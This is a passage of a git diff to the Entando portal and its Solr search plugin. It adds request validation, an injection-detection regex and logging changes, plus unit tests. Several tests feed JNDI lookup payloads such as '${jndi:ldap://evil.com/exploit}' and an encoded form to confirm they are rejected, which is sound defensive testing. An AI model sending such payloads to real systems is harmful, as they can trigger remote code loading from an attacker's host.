diff --git a/admin-console/src/main/webapp/error.jsp b/admin-console/src/main/webapp/error.jsp index 8bec65d6fd..8074cf17f7 100644 --- a/admin-console/src/main/webapp/error.jsp +++ b/admin-console/src/main/webapp/error.jsp @@ -5,9 +5,9 @@ <%@ taglib prefix="wp" uri="/aps-core" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <% - Object statusCode = request.getAttribute("javax.servlet.error.status_code"); - Object exceptionType = request.getAttribute("javax.servlet.error.exception_type"); - Object message = request.getAttribute("javax.servlet.error.message"); + Object statusCode = request.getAttribute("jakarta.servlet.error.status_code"); + Object exceptionType = request.getAttribute("jakarta.servlet.error.exception_type"); + Object message = request.getAttribute("jakarta.servlet.error.message"); %> diff --git a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java index ac90da2695..65c97e83a8 100644 --- a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java +++ b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java @@ -101,12 +101,37 @@ public int service(RequestContext reqCtx, int status) { } retStatus = ControllerManager.CONTINUE; } catch (Throwable t) { - _logger.error("Error, could not fulfill the request", t); + if (isMalformedRequest(t)) { + // The request itself is malformed (e.g. invalid query string encoding): this is a + // client error, not a server fault. Log it concisely, without the full stack trace. + _logger.warn("Could not fulfill the request: malformed request ({})", t.getMessage()); + } else { + _logger.error("Error, could not fulfill the request", t); + } retStatus = ControllerManager.SYS_ERROR; reqCtx.setHTTPError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR); } return retStatus; } + + /** + * Detects whether the given throwable (or any cause in its chain) denotes a malformed client + * request, such as an invalid query string encoding surfaced while accessing request parameters. + * Such conditions are client errors (HTTP 400) and don't warrant a full ERROR stack trace. + * Matching is done by class name to avoid a hard dependency on the servlet container internals. + */ + private static boolean isMalformedRequest(Throwable t) { + for (Throwable cause = t; cause != null; cause = cause.getCause()) { + String className = cause.getClass().getSimpleName(); + if ("BadMessageException".equals(className) || cause instanceof IllegalArgumentException) { + return true; + } + if (cause.getCause() == cause) { + break; + } + } + return false; + } protected IUserManager getUserManager() { return _userManager; diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java index d903ea29c8..1644d79623 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java @@ -22,6 +22,7 @@ import com.agiletec.plugins.jacms.aps.system.services.searchengine.ICmsSearchEngineManager; import java.util.ArrayList; import java.util.List; +import java.util.regex.Pattern; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; @@ -29,9 +30,15 @@ import org.entando.entando.aps.system.services.searchengine.FacetedContentsResult; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; import org.entando.entando.ent.exception.EntException; +import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.springframework.validation.BeanPropertyBindingResult; import org.entando.entando.plugins.jpsolr.conditions.SolrActive; import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; import org.springframework.beans.factory.annotation.Autowired; @@ -44,6 +51,11 @@ @SolrActive(true) public class AdvContentFacetManager implements IAdvContentFacetManager { + private static final EntLogger logger = EntLogFactory.getSanitizedLogger(AdvContentFacetManager.class); + + private static final Pattern SAFE_IDENTIFIER = Pattern.compile("[a-zA-Z0-9_.:,-]+"); + private static final Pattern INJECTION_PATTERN = Pattern.compile("\\$\\{|%24%7B", Pattern.CASE_INSENSITIVE); + private final ICategoryManager categoryManager; private final ICmsSearchEngineManager searchEngineManager; private final IAuthorizationManager authorizationManager; @@ -101,11 +113,12 @@ protected SearchEngineFilter[] getFilters(SearchEngineFilter[] baseFilters, List @Override public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest requestList, UserDetails user) { + this.validateRequest(requestList); SolrFacetedContentsResult facetedResult; try { - String langCode = - (StringUtils.isBlank(requestList.getLang())) ? this.langManager.getDefaultLang().getCode() - : requestList.getLang(); + String langCode = StringUtils.isBlank(requestList.getLang()) + ? this.langManager.getDefaultLang().getCode() + : requestList.getLang(); SolrSearchEngineFilter[] searchFilters = requestList.extractFilters(langCode); SolrSearchEngineFilter[][] doubleFilters = requestList.extractDoubleFilters(langCode); if (null != searchFilters) { @@ -124,6 +137,93 @@ public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest re return facetedResult; } + protected void validateRequest(AdvRestContentListRequest requestList) { + BeanPropertyBindingResult bindingResult = + new BeanPropertyBindingResult(requestList, "advContentSearchRequest"); + // lang + if (!StringUtils.isBlank(requestList.getLang())) { + boolean validLang = this.langManager.getLangs().stream() + .anyMatch(l -> l.getCode().equals(requestList.getLang())); + if (!validLang) { + bindingResult.rejectValue("lang", "INVALID_LANG_CODE", + new Object[]{}, "lang.code.invalid"); + } + } + // sort + rejectIfUnsafeIdentifier(requestList.getSort(), "sort", bindingResult); + // direction + rejectIfUnsafeIdentifier(requestList.getDirection(), "direction", bindingResult); + // text + rejectIfInjection(requestList.getText(), "text", bindingResult); + // searchOption + rejectIfUnsafeIdentifier(requestList.getSearchOption(), "searchOption", bindingResult); + // csvCategories + if (null != requestList.getCsvCategories()) { + for (String csv : requestList.getCsvCategories()) { + rejectIfUnsafeIdentifier(csv, "csvCategories", bindingResult); + } + } + // filters + validateFilters(requestList.getFilters(), "filters", bindingResult); + // doubleFilters + if (null != requestList.getDoubleFilters()) { + for (SolrFilter[] innerFilters : requestList.getDoubleFilters()) { + validateFilters(innerFilters, "doubleFilters", bindingResult); + } + } + if (bindingResult.hasErrors()) { + throw new ValidationConflictException(bindingResult); + } + } + + private void validateFilters(Filter[] filters, String fieldPrefix, + BeanPropertyBindingResult bindingResult) { + if (null == filters) { + return; + } + for (Filter filter : filters) { + rejectIfUnsafeIdentifier(filter.getAttribute(), fieldPrefix + ".attribute", bindingResult); + rejectIfUnsafeIdentifier(filter.getEntityAttr(), fieldPrefix + ".entityAttr", bindingResult); + rejectIfUnsafeIdentifier(filter.getOperator(), fieldPrefix + ".operator", bindingResult); + rejectIfUnsafeIdentifier(filter.getOrder(), fieldPrefix + ".order", bindingResult); + rejectIfUnsafeIdentifier(filter.getType(), fieldPrefix + ".type", bindingResult); + rejectIfInjection(filter.getValue(), fieldPrefix + ".value", bindingResult); + if (null != filter.getAllowedValues()) { + for (String av : filter.getAllowedValues()) { + rejectIfInjection(av, fieldPrefix + ".allowedValues", bindingResult); + } + } + if (filter instanceof SolrFilter solrFilter) { + rejectIfUnsafeIdentifier(solrFilter.getSearchOption(), + fieldPrefix + ".searchOption", bindingResult); + } + } + } + + private static void rejectIfUnsafeIdentifier(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (!SAFE_IDENTIFIER.matcher(value).matches()) { + logger.warn("Rejected unsafe identifier in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + + private static void rejectIfInjection(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (INJECTION_PATTERN.matcher(value).find()) { + logger.warn("Rejected injection pattern in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + protected List getAllowedGroups(UserDetails currentUser) { List groupCodes = new ArrayList<>(); if (null != currentUser) { diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java index fb5a799ece..db41072738 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java @@ -182,16 +182,26 @@ protected SolrFacetedContentsResult executeQuery(Query query, SearchEngineFilter } private void addFilters(SolrQuery solrQuery, SearchEngineFilter[] filters) { - if (null != filters) { - for (SearchEngineFilter filter : filters) { - if (null != this.getRelevance(filter)) { - solrQuery.addSort("score", ORDER.desc); - } else if (null != filter.getOrder()) { - String fieldKey = this.getFilterKey(filter); - boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); - solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); - } - } + if (null == filters) { + return; + } + for (SearchEngineFilter filter : filters) { + this.addSort(solrQuery, filter); + } + } + + private void addSort(SolrQuery solrQuery, SearchEngineFilter filter) { + if (null != this.getRelevance(filter)) { + solrQuery.addSort("score", ORDER.desc); + return; + } + if (null == filter.getOrder()) { + return; + } + String fieldKey = this.getFilterKey(filter); + if (null != fieldKey) { + boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); + solrQuery.addSort(fieldKey, revert ? ORDER.desc : ORDER.asc); } } @@ -334,6 +344,9 @@ protected Query createQueryByFilter(SearchEngineFilter filter) { return null; } String key = this.getFilterKey(filter); + if (null == key) { + return null; + } Object value = filter.getValue(); List allowedValues = filter.getAllowedValues(); Integer relevanceValue = this.getRelevance(filter); @@ -549,8 +562,8 @@ protected Query getTermQueryForTextSearch(String key, String value, boolean isLi protected String getFilterKey(SearchEngineFilter filter) { String key = filter.getKey().replace(":", "_"); if (!VALID_FIELD_KEY.matcher(key).matches()) { - throw new IllegalArgumentException( - "Rejected Solr field key with unsafe characters: '" + key + "'"); + log.warn("Rejected Solr field key with unsafe characters: '{}'", key); + return null; } if (filter.isFullTextSearch()) { return key; @@ -561,8 +574,8 @@ protected String getFilterKey(SearchEngineFilter filter) { : insertedLangCode; String normalizedLang = langCode.toLowerCase(); if (!VALID_FIELD_KEY.matcher(normalizedLang).matches()) { - throw new IllegalArgumentException( - "Rejected Solr lang code with unsafe characters: '" + normalizedLang + "'"); + log.warn("Rejected Solr lang code with unsafe characters: '{}'", normalizedLang); + return null; } key = normalizedLang + "_" + key; } else if (!key.startsWith(SolrFields.SOLR_FIELD_PREFIX)) { diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java index 976c744488..74a81f268b 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsChecker.java @@ -83,6 +83,13 @@ private void refreshBaseFields() { private void checkLangFields() { for (Lang lang : this.languages) { this.checkField(lang.getCode(), SolrFields.TYPE_TEXT_GENERAL, true); + // The per-language attachment field ("_attachment") is written by IndexerDAO + // and queried by SearcherDAO when includeAttachments=true. It must exist in the + // schema up front; otherwise a full-text search with includeAttachments on an + // environment where no attachment content has been indexed queries an unknown field + // and fails. Same type/multiplicity as the main language field. + this.checkField(lang.getCode() + SolrFields.ATTACHMENT_FIELD_SUFFIX, + SolrFields.TYPE_TEXT_GENERAL, true); } } diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java index d5ac79cfb0..26cdaeb853 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java @@ -20,7 +20,10 @@ */ public class SolrFacetedContentsResult extends FacetedContentsResult { - private Integer totalSize; + // Defaults to 0 so a search that returns no result - including one where the Solr query + // failed and the exception was swallowed in SearcherDAO.executeQuery - still yields a valid + // total. A null here would make PagedMetadata throw an NPE while building the response. + private Integer totalSize = 0; public SolrFacetedContentsResult() { super(); diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java index 75f05271fe..154e594732 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchController.java @@ -27,6 +27,7 @@ import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; import org.entando.entando.plugins.jpsolr.web.content.model.SolrContentPagedMetadata; import org.entando.entando.plugins.jpsolr.web.content.model.SolrFacetedPagedMetadata; +import org.entando.entando.web.common.exceptions.ValidationGenericException; import org.entando.entando.web.common.model.PagedRestResponse; import org.entando.entando.web.common.model.RestResponse; import org.entando.entando.web.common.validator.AbstractPaginationValidator; @@ -34,6 +35,7 @@ import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; +import org.springframework.validation.BeanPropertyBindingResult; import org.springframework.validation.Errors; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestAttribute; @@ -76,6 +78,11 @@ protected String getDefaultSortProperty() { @Override public boolean isValidField(String fieldName, Class type) { + if (fieldName == null) { + // full-text filters carry the search term in "value" and leave + // the attribute null; there is no field to validate in that case. + return true; + } if (fieldName.contains(".")) { return true; } else { @@ -90,6 +97,7 @@ public ResponseEntity> getContents(AdvRestContentListR @RequestAttribute(value = "user", required = false) UserDetails currentUser) { logger.debug("getting contents with request {}", requestList); this.getPaginationValidator().validateRestListRequest(requestList, String.class); + this.validateSearchableFilters(requestList); SolrFacetedContentsResult facetedResult = this.advContentFacetManager .getFacetedContents(requestList, currentUser); List result = facetedResult.getContentsId(); @@ -107,6 +115,7 @@ public ResponseEntity(new RestResponse<>(result, pagedMetadata), HttpStatus.OK); } + /** + * Rejects filters that carry search intent (a value, operator, ordering or allowed values) + * but provide no attribute to search on. Such filters cannot be honoured; discarding them + * silently would return a broader result set than requested as if it were a success, so they + * are reported as a bad request. Empty placeholder filters (no intent at all) are tolerated + * and dropped later during filter extraction. + */ + private void validateSearchableFilters(AdvRestContentListRequest requestList) { + if (requestList.hasMalformedFilters()) { + BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(requestList, "requestList"); + bindingResult.reject(AbstractPaginationValidator.ERRCODE_FILTERING_ATTR_INVALID, + new Object[]{}, "filtering.filter.attr.name.invalid"); + throw new ValidationGenericException(bindingResult); + } + } + } \ No newline at end of file diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java index 12d76420eb..0070e054eb 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/web/content/model/AdvRestContentListRequest.java @@ -21,6 +21,8 @@ import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; +import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.EntLogging.EntLogger; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; import org.entando.entando.web.common.model.Filter; import org.entando.entando.web.common.model.FilterOperator; @@ -34,6 +36,8 @@ @ToString public class AdvRestContentListRequest extends RestEntityListRequest { + private static final EntLogger logger = EntLogFactory.getSanitizedLogger(AdvRestContentListRequest.class); + private String lang; private String[] csvCategories; @@ -113,6 +117,10 @@ public SolrSearchEngineFilter[][] extractDoubleFilters(String langCode) { for (SolrFilter[] internalFilters : df) { SolrSearchEngineFilter[] internalSearchFilters = new SolrSearchEngineFilter[]{}; for (SolrFilter internalFilter : internalFilters) { + if (this.isEmptyFilter(internalFilter)) { + logger.warn("Discarding empty double filter with no attribute to search on"); + continue; + } SolrSearchEngineFilter searchFilter = this.buildSearchFilter(internalFilter, langCode); internalSearchFilters = ArrayUtils.add(internalSearchFilters, searchFilter); } @@ -127,6 +135,10 @@ public SolrSearchEngineFilter[] extractFilters(String langCode) { SolrFilter[] filters = this.getFilters(); if (null != filters) { for (SolrFilter filter : filters) { + if (this.isEmptyFilter(filter)) { + logger.warn("Discarding empty filter with no attribute to search on"); + continue; + } SolrSearchEngineFilter searchFilter = this.buildSearchFilter(filter, langCode); searchFilters = ArrayUtils.add(searchFilters, searchFilter); } @@ -154,6 +166,71 @@ private Integer getOffset() { return this.getPageSize() * page; } + /** + * A non-full-text filter has no field to build a Solr query key from when it carries + * neither an entity attribute nor a metadata attribute. Building a key from such a filter + * would fail with "Error: Key required". Full-text filters are never in this state: they + * search on the value, not on a key. + */ + private boolean hasNoSearchField(SolrFilter filter) { + return !filter.isFullText() + && StringUtils.isBlank(filter.getEntityAttr()) + && StringUtils.isBlank(filter.getAttribute()); + } + + /** + * Whether the filter expresses any search intent, i.e. a value or an allowed-values set. + * Used to tell a meaningless placeholder apart from a filter the client actually meant to + * apply. Operator and order are deliberately ignored: {@code operator} always defaults to a + * non-blank value ("like") so it is not a reliable signal, and an order without a field + * expresses no restriction on the result set. + */ + private boolean carriesIntent(SolrFilter filter) { + return StringUtils.isNotBlank(filter.getValue()) + || (filter.getAllowedValues() != null && filter.getAllowedValues().length > 0); + } + + /** + * A pure no-op placeholder: no field to search on and no intent at all. These come from + * sparse array binding (e.g. {@code filters[99]} leaves indexes 0-98 as empty objects) and + * are silently discarded, because they never expressed a restriction - dropping them cannot + * broaden the result set. + */ + private boolean isEmptyFilter(SolrFilter filter) { + return filter == null || (this.hasNoSearchField(filter) && !this.carriesIntent(filter)); + } + + /** + * A filter the client meant to apply (it carries intent) but which has no field to search + * on. It cannot be honoured and must not be silently dropped - doing so would return a + * broader result set than requested as if it were a success - so it is reported as a bad + * request instead. + */ + private boolean isMalformedFilter(SolrFilter filter) { + return filter != null && this.hasNoSearchField(filter) && this.carriesIntent(filter); + } + + /** + * @return true if any filter (single or double) carries search intent but has no field to + * search on, which the caller should reject as a bad request. + */ + public boolean hasMalformedFilters() { + SolrFilter[] filters = this.getFilters(); + if (null != filters && Arrays.stream(filters).anyMatch(this::isMalformedFilter)) { + return true; + } + SolrFilter[][] df = this.getDoubleFilters(); + if (null != df) { + for (SolrFilter[] internalFilters : df) { + if (null != internalFilters + && Arrays.stream(internalFilters).anyMatch(this::isMalformedFilter)) { + return true; + } + } + } + return false; + } + private SolrSearchEngineFilter buildSearchFilter(SolrFilter filter, String langCode) { SolrSearchEngineFilter searchFilter; boolean isAttribute = !StringUtils.isEmpty(filter.getEntityAttr()); diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java index a919d8915d..b73301e9d1 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java @@ -3,21 +3,36 @@ import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.eq; import static org.mockito.ArgumentMatchers.isNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; +import com.agiletec.aps.system.services.authorization.IAuthorizationManager; import com.agiletec.aps.system.services.category.Category; import com.agiletec.aps.system.services.category.CategoryManager; import com.agiletec.aps.system.services.group.Group; +import com.agiletec.aps.system.services.lang.ILangManager; +import com.agiletec.aps.system.services.lang.Lang; import com.agiletec.plugins.jacms.aps.system.services.content.widget.UserFilterOptionBean; import java.util.List; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; +import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.SolrSearchEngineManager; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; @ExtendWith(MockitoExtension.class) @@ -30,15 +45,19 @@ class AdvContentFacetManagerTest { private CategoryManager categoryManager; @Mock private SolrSearchEngineManager searchEngineManager; + @Mock + private IAuthorizationManager authorizationManager; + @Mock + private ILangManager langManager; @InjectMocks private AdvContentFacetManager facetManager; @Test void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { - UserFilterOptionBean filterOptionBean = Mockito.mock(UserFilterOptionBean.class); - Mockito.when(filterOptionBean.extractFilter()).thenReturn(Mockito.mock(SearchEngineFilter.class)); - Mockito.when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); + UserFilterOptionBean filterOptionBean = mock(UserFilterOptionBean.class); + when(filterOptionBean.extractFilter()).thenReturn(mock(SearchEngineFilter.class)); + when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); SearchEngineFilter[] baseFilters = new SearchEngineFilter[]{}; List facetNodeCodes = List.of(CATEGORY_1, CATEGORY_2); @@ -50,7 +69,7 @@ void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { ArgumentCaptor categoryFiltersCaptor = ArgumentCaptor.forClass( SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), categoryFiltersCaptor.capture(), eq(groups)); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -67,7 +86,7 @@ void shouldGetFacetResultWithNullFilters() throws Exception { ArgumentCaptor filtersCaptor = ArgumentCaptor.forClass(SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), (SearchEngineFilter[]) isNull(), isNull()); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -78,7 +97,122 @@ void shouldGetFacetResultWithNullFilters() throws Exception { void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { SearchEngineFilter[] nodeCodesFilter = new SearchEngineFilter[]{}; facetManager.getFacetResult(null, nodeCodesFilter, null, null); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( any(SearchEngineFilter[].class), eq(nodeCodesFilter), isNull()); } + + @Test + void shouldRejectJndiInjectionInLang() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("${jndi:ldap://evil.com/exploit}"); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectNonExistentLangCode() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("zzz"); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldAcceptBlankLangCodeAndUseDefault() throws Exception { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + when(langManager.getDefaultLang()).thenReturn(createLang("en")); + when(((ISolrSearchEngineManager) searchEngineManager) + .searchFacetedEntities( + any(SolrSearchEngineFilter[][].class), + any(SolrSearchEngineFilter[].class), + any(List.class))) + .thenReturn(new SolrFacetedContentsResult()); + facetManager.getFacetedContents(request, null); + verify(langManager, never()).getLangs(); + } + + @ParameterizedTest + @ValueSource(strings = { + "${jndi:ldap://evil.com/exploit}", + "${sys:java.version}", + "%24%7Bjndi:ldap://evil.com%7D" + }) + void shouldRejectInjectionInSort(String malicious) { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSort(malicious); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInCsvCategories() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setCsvCategories(new String[]{"${jndi:ldap://evil.com}"}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInText() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setText("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "someValue", "eq"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterEntityAttr() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter(); + filter.setEntityAttr("${jndi:ldap://evil.com}"); + filter.setOperator("eq"); + filter.setValue("test"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterValue() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("typeCode", "${jndi:ldap://evil.com}", "eq"); + filter.setEntityAttr("typeCode"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInDoubleFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "val", "eq"); + request.setDoubleFilters(new SolrFilter[][]{{filter}}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInSearchOption() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSearchOption("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + private static Lang createLang(String code) { + Lang lang = new Lang(); + lang.setCode(code); + return lang; + } } diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index e9ac539c94..cbccb3b062 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -1,5 +1,9 @@ package org.entando.entando.plugins.jpsolr.aps.system.solr; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + import com.agiletec.aps.system.common.tree.ITreeNodeManager; import com.agiletec.aps.system.services.lang.ILangManager; import com.agiletec.aps.system.services.lang.Lang; @@ -19,9 +23,7 @@ import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; -import static org.junit.jupiter.api.Assertions.assertThrows; /** * Special-character handling tests for SearcherDAO query building. @@ -119,7 +121,7 @@ void shouldNotThrowOnSingleAsteriskValue() throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -250,44 +252,39 @@ void exactPhraseMultipleValuesEmitsQuotedOutput_documentingCurrentBehavior() thr // User-controlled field names that contain Lucene/Solr meta-characters // (parentheses, spaces, operators, local-params braces …) corrupt the // query string produced by BooleanQuery.toString() and can break the - // group-based access-control filter. All such inputs must be rejected - // with IllegalArgumentException before any Term object is constructed. + // group-based access-control filter. All such inputs must be dropped + // (logged and skipped) so that the injected field never reaches the + // executed query, which retains only the safe access-control clause. // ------------------------------------------------------------------ @Test - void shouldRejectFieldNameWithParenthesisAndOrOperator() { + void 